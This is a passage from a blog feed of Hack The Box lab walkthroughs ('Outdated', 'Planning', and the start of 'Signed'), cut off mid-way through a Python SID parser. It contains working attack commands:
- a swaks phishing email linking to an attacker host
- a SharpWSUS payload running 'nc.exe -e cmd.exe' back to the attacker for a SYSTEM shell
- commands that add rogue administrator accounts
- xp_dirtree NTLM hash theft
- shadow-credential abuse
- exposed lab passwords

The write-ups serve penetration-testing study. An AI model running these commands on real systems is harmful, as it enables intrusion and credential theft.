&lt;p&gt;&lt;img src=&quot;attachments/35d24618ad4c2c3e91c41ee77ac3321d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then set it up.&lt;/p&gt;
&lt;h2&gt;Phishing for access&lt;/h2&gt;
&lt;p&gt;We need the following for the payload to fire:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Swaks command
sudo swaks -t itsupport@outdated.htb --from tester@test.htb --server 10.10.11.175 --body &quot;http://10.10.14.7/test_file.html&quot; --header &quot;Subject:Internal Web App&quot; --suppress-data

# Python server
http 80

# Listener
rlwrap nc -lvnp 443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon running and waiting for a short while we get a response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1cf41011ef2a2212a6cbdc235313fd1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as btables&lt;/h2&gt;
&lt;p&gt;Afterwards I created another reverse shell to &lt;code&gt;penelope&lt;/code&gt; in order to get a more stable shell using &lt;code&gt;Powershell #3 (Base64)&lt;/code&gt; from RevShells.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4fcb904f2ae3713ba4830799d9657814.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Right away I noticed that I landed inside either the internal network or a &lt;strong&gt;HyperV&lt;/strong&gt; container, and not inside the actual external machine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7cb6b65b411f9058f04074c4cf68dbfb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nevertheless I enumerated the user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb469a9e9f4bf828d90cd0bb561e9d8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find a valid credentials set which we might be able to use later on:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;btables@outdated.htb
GHKKb7GEHcccdCT8tQV2QwL3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;Time to do some enum.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/771a280c1f8c3c55a46abf193f8fbd53.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems we are the only ones with &lt;em&gt;sflowers&lt;/em&gt; on this domain as regular users, let&apos;s see if we can get an edge over them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/44e426cf9f7db8506c287807faa69812.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and transfered the &lt;code&gt;.zip&lt;/code&gt; file over to &lt;code&gt;kali&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/accb5afad6b8e85bf01a130ac0b66902.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4de5053320ba394a55d0daba840dd505.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s get to graphing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e6eec3c48feb11952897c02330b1a028.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f28f1d6871b707a0a6cf91a0226b7d57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As expected, we can easily own &lt;em&gt;sflowers&lt;/em&gt; in order to achieve full access over the domain.&lt;/p&gt;
&lt;h2&gt;Shadow Credentials - AddKeyCredentialLink&lt;/h2&gt;
&lt;p&gt;As per &lt;a href=&quot;https://bloodhound.specterops.io/resources/edges/add-key-credential-link&quot;&gt;SpecterOps&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;:::quote
Writing to this property allows an attacker to create “Shadow Credentials” on the object and authenticate as the principal using kerberos PKINIT.
:::&lt;/p&gt;
&lt;p&gt;We can abuse this permission using &lt;code&gt;pywhisker&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/254083f0329dd231ff3e5d1220b4ac88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can&apos;t use this one yet since we don&apos;t have valid creds.&lt;/p&gt;
&lt;p&gt;:::note
For reference, I tried using the previously found credentials but they didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/96db3e6b6ae5ad3a23d070262bec379b.png&quot; alt=&quot;&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;This meant that instead I&apos;d have to download over the &lt;strong&gt;Windows&lt;/strong&gt; version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50dbb39977fab2ace0f7eb856ddd185e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead of building the &lt;code&gt;.exe&lt;/code&gt; executable I downloaded over the &lt;code&gt;.ps1&lt;/code&gt; module from &lt;a href=&quot;https://github.com/IAMinZoho/OFFSEC-PowerShell/tree/main&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28ff67f9af83a26a37766d9e298bfa1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can run it as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-Whisker -command &quot;add /target:sflowers&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon running we see this output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a154c752addaa75131b5512793038149.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s upload &lt;code&gt;rubeus.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a4e94ce425c9cb3159248fbe4ed8ce2f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copy pasted the outputted command and let it run, and all the way at the bottom we see the &lt;code&gt;NTLM&lt;/code&gt; hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78f689daa0211d6047b5d127a3a6a00f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lateral Movement as sflowers&lt;/h2&gt;
&lt;p&gt;We can move to &lt;em&gt;sflowers&lt;/em&gt; now:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7343bed17228e0f917be59cb3c5eb00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we&apos;re in we should do some digging.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1e37f81aaf8486a5f1dc27d45cfc430.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a091ee3b296b9fc26fd1a32af9716fcb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the other network was indeed inside a &lt;strong&gt;Hyper-V&lt;/strong&gt; instance.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6948beb39645b58818e96b8e86e3af91.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;SharpWSUS&lt;/h2&gt;
&lt;p&gt;Checking back inside &lt;code&gt;BloodHound&lt;/code&gt; we notice that we&apos;re part of the &lt;strong&gt;WSUS Administrators&lt;/strong&gt; group:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca70acd3cdeafbc417e1154df93524fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d525e220e1e92e38b7e219ec38f6e6f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can exploit this group membership by using &lt;code&gt;SharpWSUS&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d7ab4aaaad32f172850d6cd05da918da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Namely we can exploit it using the following command to create a &lt;code&gt;psexec&lt;/code&gt; instance:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/594b249a51897aa3e1638b06e4c2e1d4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SharpWSUS.exe create /payload:&quot;C:\Users\ben\Documents\pk\psexec.exe&quot; /args:&quot;-accepteula -s -d cmd.exe /c \&quot;net user WSUSDemo Password123! /add &amp;amp;&amp;amp; net localgroup administrators WSUSDemo /add\&quot;&quot; /title:&quot;WSUSDemo&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I will yet again use &lt;a href=&quot;https://github.com/IAMinZoho/OFFSEC-PowerShell/blob/main/Invoke-SharpWSUS.ps1&quot;&gt;this script&lt;/a&gt; instead of building the &lt;code&gt;.exe&lt;/code&gt; version.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4bf1dd03df95a3364c87c271bff0dbe6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can test if it works:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7113e9ea2e57f13d929d37e910ec840.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we need to download over the &lt;code&gt;psexec.exe&lt;/code&gt; binary:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8892cebc209b11253b80fcc212a1aed5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I download the zip and transfer the binary I need:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/39e918d5ed8a118b564a114798f50911.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab32b9f88e48b23e3c4ed0466b5bb1f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s chain it together.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-SharpWSUS create /payload:&apos;C:\Users\sflowers\psexec.exe&apos; /args:&apos;-accepteula&apos; -s -d cmd.exe /c \&apos;net user tester Password123! /add &amp;amp;&amp;amp; net localgroup Administrators tester /add\&apos; /title:&apos;Testing&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee8276aa49b87d28381d8b84561791ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-SharpWSUS approve /updateid:2c42b515-101b-4c18-ab80-be3688d57798 /computername:dc.outdated.htb /groupname:&quot;Test&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/08ec19786976004b72934924cc3ba6df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-SharpWSUS check /updateid:3c71320a-edbe-431f-9c71-e82515ceb8b4 /computername:dc.outdated.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0f9b3d9daf46c13527644e831ea10f3b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::fail
This ended up soft failing and did not create a user, so instead I opted for a reverse shell.&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;I instead uploaded &lt;code&gt;nc.exe&lt;/code&gt; and created a reverse shell that way:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-SharpWSUS create /payload:&quot;C:\Users\sflowers\psexec.exe&quot; /args:&quot;-accepteula -s -d c:\Users\sflowers\nc.exe -e cmd.exe 10.10.14.7 443&quot; /title:&quot;Test5&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd9aa8fcb17778778e00fc01e7afc6f4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Afterwards we use the &lt;code&gt;approve&lt;/code&gt; command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-SharpWSUS approve /updateid:d68ae9a7-913a-415e-881f-e6d3a7272d58 /computername:dc.outdated.htb /groupname:&quot;Test5&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be9aaaa13a7eef662cdd61c0a485cc19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The result is a &lt;em&gt;SYSTEM&lt;/em&gt; shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4855df5d84d721eb49f47325b8f66663.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::warning
The above commands may fail or just not execute, keep trying and it will work eventually.
:::&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab8325eeba18fd5f3df3da0c1cf77dd7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a90761e0d116008b1dca0ccebd2f6dd7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Planning</title><link>https://maxk9999.vercel.app/posts/planning</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/planning</guid><pubDate>Tue, 07 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.68

Creds:
admin / 0D5oT70Fq13EvB5r
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn planning.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Edukate - Online Education Website
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a3292080c924251189a24c38e89d0015.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;No easy win.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1ce880ec85419cc0507b12dc7040be5a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3ce91641e55ac8f4b70c3a76fd53aa09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I ran a &lt;code&gt;gobuster&lt;/code&gt; scan:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/90af2bae5d93a6f8ba78a772cc159a41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried creating wordlists out of the found instructors, hoping that I could brute force it with the provided password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2dcf5c9364fa0e52dc5ba643a6880b9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;None of these matched however:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/97dd3f3d55ce0d81714f557d1972f9a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Vhost&lt;/h3&gt;
&lt;p&gt;I then started enumerating &lt;code&gt;vhosts&lt;/code&gt; using &lt;code&gt;ffuf&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffc9e8fffa0137f38c7ae42f1ab76699.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and added it to my &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b6c193a26da1edf047a7146302f9b7f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f35a6305188f60d7cbcc603c8520e98d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and input the creds and got in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8130c01b819e5a36acf16989029c6f4a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PoC&lt;/h2&gt;
&lt;p&gt;I then searched up whether there was any RCE exploit for the &lt;strong&gt;Grafana v11.0&lt;/strong&gt; version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc990446ab2488117d15eefc48ab7620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2271c93f76f33cb394fe9d010546997.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0720881070e282e7c7b18d1b3bcf9448.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While this looked promising, I was not done yet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5039f833176cb49fd434d7774b165ce6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By using the &lt;code&gt;env&lt;/code&gt; command however I was able to find some juicy creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e35dd84c843a87998b943315d4123f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/daa519b1fc19f0b374e8399ff06bc787.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enzo
RioTecRANDEntANT!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Success!&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as enzo&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b392a6de4ccd845c497d912403872c40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time to get &lt;code&gt;user.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14ae62fa69d9b66af4257850cc017f6e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried an easy win but unfortunately it didn&apos;t work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/155219e61294727d9bf5682b17539d1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I downloaded over &lt;code&gt;linpeas.sh&lt;/code&gt; and started enumerating:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aa3740c345b3b728b276dd238ec9e83f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well that sucks.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/775a4de90723fe260dfdf299dacc7a3d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1e395e36be51d7ce3fc36cbfad13ac64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check the last one out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/edb91de01fcbf33f701333f3c60c0e6c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Local Port Forward&lt;/h2&gt;
&lt;p&gt;I use the following command on &lt;code&gt;ssh&lt;/code&gt; to port forward so I can access the &lt;code&gt;8000&lt;/code&gt; port.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/85d2155f443c9c003451a93e95dc3341.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I use the found creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5b2f8d347bca4a849a6c9a81fdc4b460.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59375c831dabea4aca1a9ec14eacfdd0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And I&apos;m in.&lt;/p&gt;
&lt;p&gt;I create a new cron job:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/265d95c8cca22b0d368b3777b01eada3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I start a listener and click on &lt;strong&gt;Run now&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24c570335bb0bd6af1a1242c5407cd13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5be32b6a5cdb1f349ab68d3e40e9989.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87e994d8548453d0b9086a3178120d0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Signed</title><link>https://maxk9999.vercel.app/posts/signed</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/signed</guid><pubDate>Thu, 16 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.90

Credentials:
scott
Sm230#C5NatH
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 -vvvv --min-rate=5000 10.10.11.90

PORT     STATE SERVICE  REASON  VERSION
1433/tcp open  ms-sql-s syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ssl-date: 2025-10-16T07:20:52+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.90:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| ms-sql-info: 
|   10.10.11.90:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1433/TCP - MSSQL&lt;/h2&gt;
&lt;p&gt;Using the given credentials we are able to login using &lt;code&gt;impacket&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29d1d82b949ea1b5b7298a555f85a43a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We quickly find out that we have insufficient privs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1b85a1649358e29882a2bcbffe16e95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s start off by enumerating the db&apos;s first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bcaa8e5c290b68caa22784ddb65cf71c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Our user can&apos;t impersonate anyone else:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ebf16384d010f52fe190925dc2e6c8b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;metasploit&lt;/h3&gt;
&lt;p&gt;In order to automate the process we can use &lt;code&gt;msfconsole&lt;/code&gt; instead with the following module:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24a5825d665157036967b484d03b9620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Funny enough the module tells us &lt;code&gt;xp_cmdshell&lt;/code&gt; is in fact enabled&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7c6f61172c98963aa7115fb929355cfb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/36798f9e9958e71acd527a4b3edb90c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find another service account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7cf18a22748431f9cc31fe470ee0e4da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used another module to enumerate all domain users since it seemed domain-linked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c9a2f1390f2a526f320dcf1ad897c75.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;XP_Dirtree Hash Stealing&lt;/h3&gt;
&lt;p&gt;Using the following command, in combination with &lt;code&gt;responder&lt;/code&gt; we can steal the hash of &lt;em&gt;mssqlsvc&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xp_dirtree \\10.10.14.4\test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9531d8be8414dd4cc1f821d32b69dbd3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;john&lt;/code&gt; we can easily crack the hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30dfba447aa1e2489cbf2297c876e513.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mssqlsvc
purPLE9795!@
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;code&gt;impacket&lt;/code&gt; we can now log in with this user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b09d2dd59e558192979d4e6e31cff0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately we still can not execute commands freely.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Silver Ticket&lt;/h2&gt;
&lt;p&gt;What we can do however is craft up a silver ticket. We&apos;ll need the following for this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SPN password hash&lt;/li&gt;
&lt;li&gt;Domain SID&lt;/li&gt;
&lt;li&gt;Target SPN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can find the SID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c466a3b801f72de36df61f4e20df481.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this isn&apos;t human readable I generated a &lt;code&gt;python&lt;/code&gt; script using AI which I then used to make it readable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;
Convert SQL/varbinary-style SIDs (e.g. b&apos;0105000000...&apos;) or hex strings into the
human-readable Windows SID form: S-&amp;lt;revision&amp;gt;-&amp;lt;identifier-authority&amp;gt;-&amp;lt;subauth&amp;gt;-...

Usage (CLI):
    python3 sid_parse.py &quot;b&apos;0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000&apos;&quot;

Or feed plain hex:
    python3 sid_parse.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000

Or import:
    from sid_parse import parse_sid, domain_sid, rid_from_sid
&quot;&quot;&quot;
import sys
import re
from typing import Tuple, List


def _normalize_input(s: str) -&amp;gt; bytes:
    &quot;&quot;&quot;
    Accepts:
      - &quot;b&apos;01050000...&apos;&quot;
      - &quot;0x01050000...&quot;
      - &quot;01050000...&quot;
      - raw bytes representation (not typical from SQL)
    Returns bytes interpreted from hex.
    &quot;&quot;&quot;
    if isinstance(s, bytes):
        return s

    s = s.strip()

    # SQL output often looks like: b&apos;0105000000000005...&apos;
    m = re.match(r&quot;^b&apos;([0-9a-fA-F]+)&apos;\s*$&quot;, s)
    if m:
        hexstr = m.group(1)
        return bytes.fromhex(hexstr)

    # Remove potential 0x prefix
    if s.startswith(&quot;0x&quot;) or s.startswith(&quot;0X&quot;):
        s = s[2:]

    # If it&apos;s plain printable hex (even length), use it
    if re.fullmatch(r&quot;[0-9a-fA-F]+&quot;, s) and len(s) % 2 == 0:
        return bytes.fromhex(s)

    # Last resort: try to remove non-hex characters and decode
    cleaned = re.sub(r&quot;[^0-9a-fA-F]&quot;, &quot;&quot;, s)
    if len(cleaned) % 2 == 1:
        raise ValueError(&quot;Hex string has odd length after cleaning.&quot;)
    return bytes.fromhex(cleaned)


def parse_sid(input_value: str) -&amp;gt; str:
    &quot;&quot;&quot;
    Parse the binary SID and return the textual SID e.g. S-1-5-21-...
    Accepts SQL varbinary-like strings and plain hex strings.
